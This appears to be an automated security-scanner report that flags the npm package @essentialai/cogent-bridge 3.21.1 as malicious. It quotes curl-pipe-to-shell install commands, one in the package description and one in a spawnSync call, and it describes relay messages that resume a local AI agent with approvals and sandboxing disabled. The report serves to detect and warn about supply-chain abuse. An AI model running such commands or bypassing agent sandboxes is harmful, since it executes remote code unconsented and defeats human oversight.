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@essentialai/cogent-bridge@3.21.1: Malicious npm security report | LPM Firewall

registry / @essentialai/cogent-bridge / 3.21.1

@essentialai/cogent-bridge@3.21.1

Cogent Bridge — cross-agent comms for Claude Code, OpenAI Codex and Slack. Codex users: install with `curl -fsSL https://cogent.tools/install.sh | sh`, then start with `cogent-codex` for real-time peer wake.

AI Security Review

scanned 3h ago · by lpm-firewall-ai

A global npm install automatically installs a remote Codex build and registers a GitHub Codex plugin. At runtime, relay messages can resume a local agent, with an automatic retry that disables Codex approval and sandbox protections.

Static reason

High-risk behavior combination matched malicious policy.; source matched previously finalized malicious package; routed for review; previous stored version diff introduced dangerous source

Trigger

npm install -g activates the postinstall hook; incoming relay messages activate agent resumption.

Impact

It changes a broad AI-agent control surface and can cause network-delivered messages to run through a local agent with protections bypassed.

Mechanism

Install-hook mutation of Codex plus relay-driven unsandboxed agent execution.

Attack narrative

The package's automatic postinstall hook runs during global installation, downloads and executes a remote installer, and registers an external marketplace and plugin in Codex. The package also turns relay messages into local agent resume commands and retries failed jobs with Codex approvals and sandboxing disabled. This creates an unconsented persistent expansion of the user's AI-agent execution surface.

Rationale

This is concrete install-hook abuse: an npm postinstall mutates the foreign Codex control surface and executes remote shell content. The relay-driven bypass retry materially increases the resulting execution risk.

Evidence

package.jsonscripts/postinstall-global.mjsdist/services/auto-relay.jsdist/services/codex-cli.js~/.codex/packages/standalone

Network endpoints2

Source & flagged code

14 flagged · loading source

package.jsonView file

•scripts.postinstall = node scripts/postinstall-global.mjs

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

dist/bin/cogent-codex.jsView file

31*/ L32: import { spawn, spawnSync } from "node:child_process"; L33: import { realpathSync } from "node:fs"; ... L40: function log(msg) { L41: process.stderr.write(`[cogent-codex] ${msg}\n`); L42: } ... L91: log("setting up real-time wake — installing codex's managed build (one-time)…"); L92: const res = spawnSync("sh", ["-c", "curl -fsSL https://chatgpt.com/codex/install.sh | sh"], { L93: stdio: "inherit", ... L202: async function main() { L203: loadConfig(process.env); L204: const codexBin = getConfig().COGENT_CODEX_PATH;

Critical

Download Execute

Source downloads or fetches remote code and executes it.

dist/bin/cogent-codex.jsView on unpkg · L31

31Trigger-reachable chain: manifest.bin -> dist/bin/cogent-codex.js L31: */ L32: import { spawn, spawnSync } from "node:child_process"; L33: import { realpathSync } from "node:fs"; ... L40: function log(msg) { L41: process.stderr.write(`[cogent-codex] ${msg}\n`); L42: } ... L91: log("setting up real-time wake — installing codex's managed build (one-time)…"); L92: const res = spawnSync("sh", ["-c", "curl -fsSL https://chatgpt.com/codex/install.sh | sh"], { L93: stdio: "inherit", ... L202: async function main() { L203: loadConfig(process.env); L204: const codexBin = getConfig().COGENT_CODEX_PATH;

Critical

Trigger Reachable Dangerous Capability

A package entrypoint or install-time lifecycle script reaches a source file with blocking dangerous behavior.

dist/bin/cogent-codex.jsView on unpkg · L31

•matchType = previous_version_dangerous_delta matchedPackage = @essentialai/cogent-bridge@3.20.5 matchedIdentity = npm:[redacted]:3.20.5 similarity = 0.857 summary = stored previous version shares package body but lacks this dangerous source file

Critical

Previous Version Dangerous Delta

This package version adds a dangerous source file absent from the previous stored version; route for source-aware review.

dist/bin/cogent-codex.jsView on unpkg

31*/ L32: import { spawn, spawnSync } from "node:child_process"; L33: import { realpathSync } from "node:fs";

High

Child Process

Package source references child process execution.

dist/bin/cogent-codex.jsView on unpkg · L31

•matchType = normalized_sha256 matchedPackage = @essentialai/cogent-bridge@3.21.0 matchedPath = dist/bin/cogent-codex.js matchedIdentity = npm:[redacted]:3.21.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/bin/cogent-codex.jsView on unpkg

dist/constants.jsView file

8try { L9: const require = createRequire(import.meta.url); L10: return require("../package.json").version;

Medium

Dynamic Require

Package source references dynamic require/import behavior.

dist/constants.jsView on unpkg · L8

dist/backend/npm-update-check.js#virtual:normalized:round1View file

•stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 7

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

dist/backend/npm-update-check.js#virtual:normalized:round1View on unpkg

dist/services/codex-app-server.jsView file

•matchType = normalized_sha256 matchedPackage = @essentialai/cogent-bridge@3.21.0 matchedPath = dist/services/codex-app-server.js matchedIdentity = npm:[redacted]:3.21.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/services/codex-app-server.jsView on unpkg

dist/services/codex-preflight.jsView file

•matchType = normalized_sha256 matchedPackage = @essentialai/cogent-bridge@3.21.0 matchedPath = dist/services/codex-preflight.js matchedIdentity = npm:[redacted]:3.21.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/services/codex-preflight.jsView on unpkg

scripts/postinstall-global.mjsView file

•matchType = normalized_sha256 matchedPackage = @essentialai/cogent-bridge@3.21.0 matchedPath = scripts/postinstall-global.mjs matchedIdentity = npm:[redacted]:3.21.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

scripts/postinstall-global.mjsView on unpkg

dist/services/cc-cli.jsView file

•matchType = normalized_sha256 matchedPackage = @essentialai/cogent-bridge@3.21.0 matchedPath = dist/services/cc-cli.js matchedIdentity = npm:[redacted]:3.21.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/services/cc-cli.jsView on unpkg

dist/services/codex-cli.jsView file

•matchType = normalized_sha256 matchedPackage = @essentialai/cogent-bridge@3.21.0 matchedPath = dist/services/codex-cli.js matchedIdentity = npm:[redacted]:3.21.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/services/codex-cli.jsView on unpkg

dist/backend/npm-update-check.jsView file

•matchType = normalized_sha256 matchedPackage = @essentialai/cogent-bridge@3.21.0 matchedPath = dist/backend/npm[redacted] matchedIdentity = npm:[redacted]:3.21.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/backend/npm-update-check.jsView on unpkg

Source & flagged code

14 flagged

package.jsonView file

Lines 16-56json

16 "cogent-codex": "dist/bin/cogent-codex.js"

17 },

18 "files": [

19 "dist",

20 "README.md",

21 "LICENSE",

22 "CHANGELOG.md",

23 "server.json",

24 "scripts/postinstall-global.mjs"

25 ],

26 "scripts": {

27 "start": "node dist/index.js",

28 "dev": "tsx watch src/index.ts",

29 "build": "node node_modules/typescript/bin/tsc && npm run build:bundle",

30 "build:bundle": "node scripts/build-bundle.mjs",

31 "clean": "rm -rf dist plugin/bridge",

32 "test": "node node_modules/vitest/vitest.mjs run",

33 "test:watch": "node node_modules/vitest/vitest.mjs",

34 "test:unit": "node node_modules/vitest/vitest.mjs run --exclude 'src/e2e/**'",

35 "test:coverage": "node node_modules/vitest/vitest.mjs run --coverage",

36 "postinstall": "node scripts/postinstall-global.mjs",

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L36

37 "prepublishOnly": "npm run build && npm run test:unit"

38 },

39 "keywords": [

40 "mcp",

41 "model-context-protocol",

42 "claude",

43 "claude-code",

44 "bridge",

45 "inter-session",

46 "communication",

47 "ai",

48 "agent",

49 "cogent",

50 "cogent-bridge"

51 ],

52 "repository": {

53 "type": "git",

54 "url": "https://github.com/eaisdevelopment/cogent.git"

55 },

56 "homepage": "https://github.com/eaisdevelopment/cogent#readme",

dist/bin/cogent-codex.jsView file

Lines 11-51javascript

11 *

12 * The ONLY user step is running `cogent-codex` instead of `codex`. This wrapper

13 * self-bootstraps everything else, no exports / config /

dist/constants.jsView file

Lines 1-28javascript

1import { createRequire } from "node:module";

2function resolveVersion() {

3 // `typeof` on an undeclared identifier is safe (returns "undefined"); in the bundle

4 // esbuild replaces the identifier with a string literal so this branch wins.

5 if (typeof __COGENT_VERSION__ ===

dist/backend/npm-update-check.js#virtual:normalized:round1View file

•stage = ast_semantic_analysis; reason = ast_parse_error; limitedFiles = 7

High

Semantic Analysis Limited

A bounded semantic-analysis stage reached its safety limit; remaining detectors completed, but this package requires AI review.

dist/backend/npm-update-check.js#virtual:normalized:round1View on unpkg

dist/services/codex-app-server.jsView file

•matchType = normalized_sha256 matchedPackage = @essentialai/cogent-bridge@3.21.0 matchedPath = dist/services/codex-app-server.js matchedIdentity = npm:[redacted]:3.21.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/services/codex-app-server.jsView on unpkg

dist/services/codex-preflight.jsView file

•matchType = normalized_sha256 matchedPackage = @essentialai/cogent-bridge@3.21.0 matchedPath = dist/services/codex-preflight.js matchedIdentity = npm:[redacted]:3.21.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/services/codex-preflight.jsView on unpkg

scripts/postinstall-global.mjsView file

•matchType = normalized_sha256 matchedPackage = @essentialai/cogent-bridge@3.21.0 matchedPath = scripts/postinstall-global.mjs matchedIdentity = npm:[redacted]:3.21.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

scripts/postinstall-global.mjsView on unpkg

dist/services/cc-cli.jsView file

•matchType = normalized_sha256 matchedPackage = @essentialai/cogent-bridge@3.21.0 matchedPath = dist/services/cc-cli.js matchedIdentity = npm:[redacted]:3.21.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/services/cc-cli.jsView on unpkg

dist/services/codex-cli.jsView file

•matchType = normalized_sha256 matchedPackage = @essentialai/cogent-bridge@3.21.0 matchedPath = dist/services/codex-cli.js matchedIdentity = npm:[redacted]:3.21.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/services/codex-cli.jsView on unpkg

dist/backend/npm-update-check.jsView file

•matchType = normalized_sha256 matchedPackage = @essentialai/cogent-bridge@3.21.0 matchedPath = dist/backend/npm[redacted] matchedIdentity = npm:[redacted]:3.21.0 similarity = 1.000 summary = normalized source hash matched finalized malicious source

High

Known Malware Source Similarity

Source file is highly similar to a previously finalized malicious package; route for source-aware review.

dist/backend/npm-update-check.jsView on unpkg